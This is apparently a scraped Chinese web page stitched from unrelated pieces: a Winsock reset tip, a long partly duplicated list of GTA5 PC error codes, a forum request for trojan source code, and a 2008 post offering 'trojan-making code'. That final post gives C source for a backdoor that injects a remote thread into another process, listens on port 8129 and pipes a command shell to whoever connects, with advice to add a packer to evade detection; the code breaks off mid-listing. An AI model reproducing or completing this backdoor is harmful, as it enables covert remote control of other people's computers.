如何初始化winsock dll_
1.侠盗猎车5GTA5PC版ERR乱码怎么办ERR乱码解决办法
2.木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激
1、首先是进入DOS的方法。开始→运行
2、在框中输入 cmd,按enter键。
3、黑乎乎的窗口就是DOS了。
4、输入C/SCANNOW,进行检测。
5、之后会提示错误代码:10107,这是只要输入:NETSH WINSOCK RESET,就可以解决问题了。
6、之后重启你的电脑就可以了。360会冒出一个提示,选择允许就可以了。
侠盗猎车5GTA5PC版ERR乱码怎么办ERR乱码解决办法
游戏资料毁损。请重新开机或重新安装游戏。
GTA5PC版ERR乱码问题原因及解决方法汇总:
错误代码,错误原因及解决方法。
[ERR_SYS_TIMER_RDTSC],CPU不支援rdtsc指令。
[ERR_SYS_SETTINGS,电脑不符合最低需求。
[ERR_SYS_PURE], 游戏错误。请重新开机然后重新启动游戏。
[ERR_SYS_PAR_3] , 游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_PAR_2],游戏资料毁损。请重新开机或重新安装游戏。 ?
[ERR_SYS_NOSTREAMINGHANDLES],档案控制代码不足。请重新开机然后重新启动游戏。
[ERR_SYS_MINREQ_VID_MEM],您的电脑不符合最低视讯记忆体建议规格。如果继续,游戏可能无法执行。
[ERR_SYS_INVALIDFILE],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_INSTALLER],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_FILELOAD],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_PACK_2],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_PACK_1],游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_MOD_INFO],游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_MOD],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_MISSING],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_COLL],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_NO_LAUNCHER],请使用PlayGTAV.exe来执行GrandTheftAutoV。
[ERR_NET_WINSOCK_4],WinSock接收错误。请重新开机然后重新启动游戏。
[ERR_NET_WINSOCK_3],WinSock传送错误。请重新开机然后重新启动游戏。
[ERR_NET_WINSOCK_2],WinSockDLL版本不正确。请重新安装Windows。
[ERR_NET_WINSOCK_1],WinSock错误。请重新开机然后重新启动游戏。
[ERR_NET_MEM],网路错误。请重新开机然后重新启动游戏。
[ERR_NET_EVENT],网路错误。请重新开机然后重新启动游戏。
[ERR_NET_ARRAY],网路错误。GTA5版本不相容。
[ERR_MEM_EMBEDDEDALLOC_ALLOC],游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_CONT_3],游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GFX_WIN],建立视窗失败。请重新开机,并确认图形装置已正常运作。
[ERR_GFX_RENDERTHREAD],初始化执行绪集区失败。请重新开机然后重新启动游戏。
[ERR_GFX_RENDERTARGET],建立转译目标失败。请重新开机然后重新启动游戏。
[ERR_GFX_DRAW_DATA],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_D3D_VER_1],找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_SWAPCHAIN_ALLOC_2],找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。 ?
[ERR_GFX_D3D_DEFERRED_MEM],DirectX错误。记忆体不足。请重新开机、关闭其他应用程式,并确认您的电脑符合最低需求。
[ERR_GFX_D3D_DEFERRED],DirectX错误。请确认您的显卡已使用最新版本驱动程式正确安装。请检查您的DirectX安装,然后将系统重新开机。
[ERR_GEN_INPUT_1],输入装置过多。请移除部分装置,然后重新开机然后重新启动游戏。
[ERR_DEFAULT],发生严重错误。请重新开机或重新安装游戏。
[ERR_AUD_SOUND_2],音讯错误。请重新开机然后重新启动游戏。
[ERR_AUD_SOUND_1],音讯错误。请重新开机然后重新启动游戏。
[ERR_AUD_MUSIC_INIT],初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_MIXER_INIT],初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_INVALIDRESOURCE],音讯资料毁损。请重新开机或重新安装游戏。
[ERR_AUD_INIT_2],初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_INIT_1],初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_HARDWARE_DS_INIT],初始化音讯硬体失败。您可能需要重新安装音讯驱动程式或DirectX。另外也请确认您的音讯装置运作正常。
[ERR_AUD_HARDWARE_DS_BUFFER],建立音讯缓冲区失败。您可能需要重新安装音讯驱动程式或DirectX。另外也请确认您的音讯装置运作正常。
[ERR_AUD_HARDWARE],启动音讯硬体失败。请确认您的音讯装置正常运作。
[ERR_AUD_GTA_ONLINE_LOAD],载入音讯资料失败。请重新开机或重新安装游戏。
[ERR_GEN_ENT_CONT_3],游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_ENT_CONT_2],游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_ENT_CONT_1],游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_CUT_2],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_CUT_1],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_CODEC_1],音讯聊天转码器错误。请重新开机然后重新启动游戏。
[ERR_FIL_ZIP_3],游戏资料毁损。请重新开机或重新安装游戏。
[ERR_FIL_ZIP_2],游戏错误。请重新开机然后重新启动游戏。
[ERR_FIL_ZIP_1],游戏资料毁损。请重新开机或重新安装游戏。
木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激
侠盗猎车5GTA5PC版很多玩家在游戏时是出现了为err开头的乱码,不知道是什么原因,也不知道如何解决,下面小编就把所有的ERR错误乱码翻译以及解决办法带给大家。希望对各位玩家有所帮助。
侠盗猎车5GTA5PC版 ERR乱码怎么办 ERR乱码解决办法
错误代码
错误原因及解决办法
[ERR_SYS_TIMER_RDTSC]
CPU不支援rdtsc指令。
[ERR_SYS_STREAMERREAD]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_SETTINGS]
电脑不符合最低需求。
[ERR_SYS_PURE]
游戏错误。请重新开机然后重新启动游戏。
[ERR_SYS_PARAM_PREFIX]
命令列参数不正确。
[ERR_SYS_PARAM_FORMAT]
命令列参数格式不正确。
[ERR_SYS_PAR_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_PAR_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_PAR_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_NOSTREAMINGHANDLES]
档案控制代码不足。请重新开机然后重新启动游戏。
[ERR_SYS_NOFILEHANDLES_3]
档案控制代码不足。请重新开机然后重新启动游戏。
[ERR_SYS_NOFILEHANDLES_2]
档案控制代码不足。请重新开机然后重新启动游戏。
[ERR_SYS_NOFILEHANDLES_1]
档案控制代码不足。请重新开机然后重新启动游戏。
[ERR_SYS_MINREQ_VID_MEM]
您的电脑不符合最低视讯记忆体建议规格。如果继续,游戏可能无法执行。
[ERR_SYS_MINREQ_TITLE]
最低建议硬体检查失败
[ERR_SYS_MINREQ_MEM]
您的电脑不符合最低记忆体(RAM)建议规格。如果继续,游戏可能无法执行。
[ERR_SYS_MINREQ_CPU_CORE]
您的电脑不符合最低CPU核心建议规格。如果继续,游戏可能无法执行。
[ERR_SYS_INVALIDRESOURCE_5]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_INVALIDRESOURCE_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_INVALIDRESOURCE_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_INVALIDFILE]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_INSTALLER]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SYS_FILELOAD]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_PACK_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_PACK_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_MOD_INFO]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_MOD]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_MISSING]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_INVALID_DATA_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_INVALID_DATA_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_INFO_3]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_INFO_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_INFO_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_FAILURE_4]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_FAILURE_3]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_FAILURE_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_STR_FAILURE_1]
网路错误。请重新开机然后重新启动游戏。
[ERR_STR_CACHE_3]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_CACHE_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_STR_CACHE_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_SCR_THREAD_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_THREAD_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_TEXT_MEM_4]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_SCR_TEXT_MEM_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_SCR_TEXT_MEM_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_SCR_TEXT_MEM_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_SCR_PROG_9]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_8]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_7]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_6]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_5]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_4]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_10]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_PROG_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_LAUNCH_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_SCR_LAUNCH_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PHY_POOL_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_PHY_POOL_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_PHY_GEOM]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PHY_BOUND]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PHY_ARCH]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_9]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_8]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_7]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_6]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_5]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_4]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_12]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_11]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_10]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_INVALID_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_PAR_COLL]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_NO_LAUNCHER]
请使用PlayGTAV.exe来执行GrandTheftAutoV。
[ERR_NET_WINSOCK_4]
WinSock接收错误。请重新开机然后重新启动游戏。
[ERR_NET_WINSOCK_3]
WinSock传送错误。请重新开机然后重新启动游戏。
[ERR_NET_WINSOCK_2]
WinSockDLL版本不正确。请重新安装Windows。
[ERR_NET_WINSOCK_1]
WinSock错误。请重新开机然后重新启动游戏。
[ERR_NET_MEM]
网路错误。请重新开机然后重新启动游戏。
[ERR_NET_EVENT]
网路错误。请重新开机然后重新启动游戏。
[ERR_NET_ARRAY]
网路错误。GTA5版本不相容。
[ERR_MEM_VIRTUAL_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_VIRTUAL_2]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_VIRTUAL_1]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_RESIZE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_RESIZE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_FREE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_FREE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_TINY_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_SYSTEM]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_SPARSEALLOC_FREE_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_SPARSEALLOC_FREE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_SPARSEALLOC_FREE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_SPARSEALLOC_ALLOC]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_FREE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_FREE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_ALLOC_5]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_ALLOC_4]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_ALLOC_3]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_ALLOC_2]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_POOLALLOC_ALLOC_1]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_MULTIALLOC_RESIZE]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_MULTIALLOC_FREE]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_MIN_ALLOC]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_EXTALLOC_ALLOC]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_RESIZE_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_RESIZE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_RESIZE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_INIT_1]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_GUARD_5]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_GUARD_4]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_GUARD_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_GUARD_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_GUARD_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_FREE_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_FREE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_FREE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_EMBEDDEDALLOC_ALLOC]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_CONT_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_CONT_2]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_CONT_1]
游戏记忆体不足。请重新开机然后重新启动游戏。
[ERR_MEM_BESTALLOC_FREE_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_MEM_BESTALLOC_FREE_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GUI__MEM_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GUI__MEM_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GUI_MENU_VER]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GUI_CHILD]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GUI_ACTIVE_PANEL]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_WIN]
建立视窗失败。请重新开机,并确认图形装置已正常运作。系统错误:
[ERR_GFX_STATE]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GFX_SHADER_VAR]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_SHADER_TYP]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_RENDERTHREAD_TXD]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_RENDERTHREAD]
初始化执行绪集区失败。请重新开机然后重新启动游戏。
[ERR_GFX_RENDERTARGET]
建立转译目标失败。请重新开机然后重新启动游戏。
[ERR_GFX_PFX_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GFX_PFX_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GFX_MORPH_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_MORPH_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_INVALID_SHADER]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_INIT]
启动图形装置失败。请重新开机或重新安装最新版本DirectX执行阶段。
[ERR_GFX_IM]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GFX_EFFECT_INVALID_STATE_5]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_INVALID_STATE_4]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_INVALID_STATE_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_INVALID_STATE_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_INVALID_STATE_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_EFFECT_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GFX_DRAW_ROPE_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_DRAW_ROPE_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_DRAW_GLASS_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_DRAW_GLASS_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_DRAW_DATA]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_D3D_VER_1]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_SWAPCHAIN_ALLOC_2]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_SHADER_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_D3D_SHADER_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_D3D_NOFEATURELEVEL_2]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_NOFEATURELEVEL_1]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_NOD3D1X_4]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_NOD3D1X_2]
找不到DirectX10或11显卡或执行阶段。请安装最新版本DirectX执行阶段,或安装相容的DirectX10或11显卡。
[ERR_GFX_D3D_INIT]
初始化失败。请重新开机然后重新启动游戏。如果问题仍然持续发生,请尝试重新安装游戏。
[ERR_GFX_D3D_DEFERRED_MEM]
DirectX错误。记忆体不足。请重新开机、关闭其他应用程式,并确认您的电脑符合最低需求。
[ERR_GFX_D3D_DEFERRED]
DirectX错误。请确认您的显卡已使用最新版本驱动程式正确安装。请检查您的DirectX安装,然后将系统重新开机。
[ERR_GFX_CHECK_PROC_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GFX_CHECK_PROC_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_ZLIB_2]
Zlib呼叫失败。请重新开机或重新安装游戏。
[ERR_GEN_ZLIB_1]
Zlib初始化失败。请重新开机然后重新启动游戏。
[ERR_GEN_SCENARIO]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_POOL_3]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_POOL_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_POOL_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_PE_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_NAV]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_MAP]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_INVALID]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_INTERIOR_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_INPUT_2]
DirectInput失败。请重新开机然后重新启动游戏。
[ERR_GEN_INPUT_1]
输入装置过多。请移除部分装置,然后重新开机然后重新启动游戏。
[ERR_GEN_ENT_TRANS]
游戏错误。请重新开机然后重新启动游戏。
[ERR_GEN_ENT_CONT_3]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_ENT_CONT_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_ENT_CONT_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_GEN_CUT_2]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_CUT_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_GEN_CODEC_1]
音讯聊天转码器错误。请重新开机然后重新启动游戏。
[ERR_FIL_ZIP_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_FIL_ZIP_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_FIL_ZIP_1]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_FIL_PACK_3]
游戏资料毁损。请重新开机或重新安装游戏。
[ERR_FIL_PACK_2]
游戏错误。请重新开机然后重新启动游戏。
[ERR_FIL_PACK_1]
游戏错误。请重新开机然后重新启动游戏。
[ERR_FIL_DISK]
游戏错误。请重新开机然后重新启动游戏。
[ERR_FIL_COMMON]
游戏错误。请重新开机然后重新启动游戏。
[ERR_DEFAULT]
发生严重错误。请重新开机或重新安装游戏。
[ERR_AUD_SOUND_2]
音讯错误。请重新开机然后重新启动游戏。
[ERR_AUD_SOUND_1]
音讯错误。请重新开机然后重新启动游戏。
[ERR_AUD_MUSIC_INIT]
初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_MIXER_INIT]
初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_INVALIDRESOURCE]
音讯资料毁损。请重新开机或重新安装游戏。
[ERR_AUD_INIT_2]
初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_INIT_1]
初始化音讯失败。请重新开机然后重新启动游戏。
[ERR_AUD_HARDWARE_DS_INIT]
初始化音讯硬体失败。您可能需要重新安装音讯驱动程式或DirectX。另外也请确认您的音讯装置运作正常。
[ERR_AUD_HARDWARE_DS_BUFFER]
建立音讯缓冲区失败。您可能需要重新安装音讯驱动程式或DirectX。另外也请确认您的音讯装置运作正常。
[ERR_AUD_HARDWARE]
启动音讯硬体失败。请确认您的音讯装置正常运作。
[ERR_AUD_GTA_ONLINE_LOAD]
载入音讯资料失败。请重新开机或重新安装游戏。
[ERR_ANI_POOL_2]
游戏记忆体错误。请重新开机然后重新启动游戏。
[ERR_ANI_POOL_1]
游戏记忆体错误。请重新开机然后重新启动游戏。
制造木马代码大全2008-06-08 19:46制造木马代码大全
一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#include<windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara; // 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName); // 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;struct sockaddr_in server_addr;
struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;LoadLibraryFunc(Para->winsockDll);PWSAStartup = (FARPROC)Para->dwWSAStartup;
PSocket = (FARPROC)Para->dwSocket;
Phtons = (FARPROC)Para->dwhtons;
Pbind = (FARPROC)Para->dwbind;
Plisten = (FARPROC)Para->dwlisten;
Paccept = (FARPROC)Para->dwaccept;
Psend = (FARPROC)Para->dwsend;
Precv = (FARPROC)Para->dwrecv;
Pclosesocket = (FARPROC)Para->dwclosesocket;
PCreateProcessA = (FARPROC)Para->dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para->dwPeekNamedPipe;
PWriteFile = (FARPROC)Para->dwWriteFile;
PReadFile = (FARPROC)Para->dwReadFile;
PCloseHandle = (FARPROC)Para->dwCloseHandle;
PCreatePipe = (FARPROC)Para->dwCreatePipe;
PTerminateProcess = (FARPROC)Para->dwTerminateProcess;
PMessageBoxA = (FARPROC)Para->dwMessageBox;nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60, 0);if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
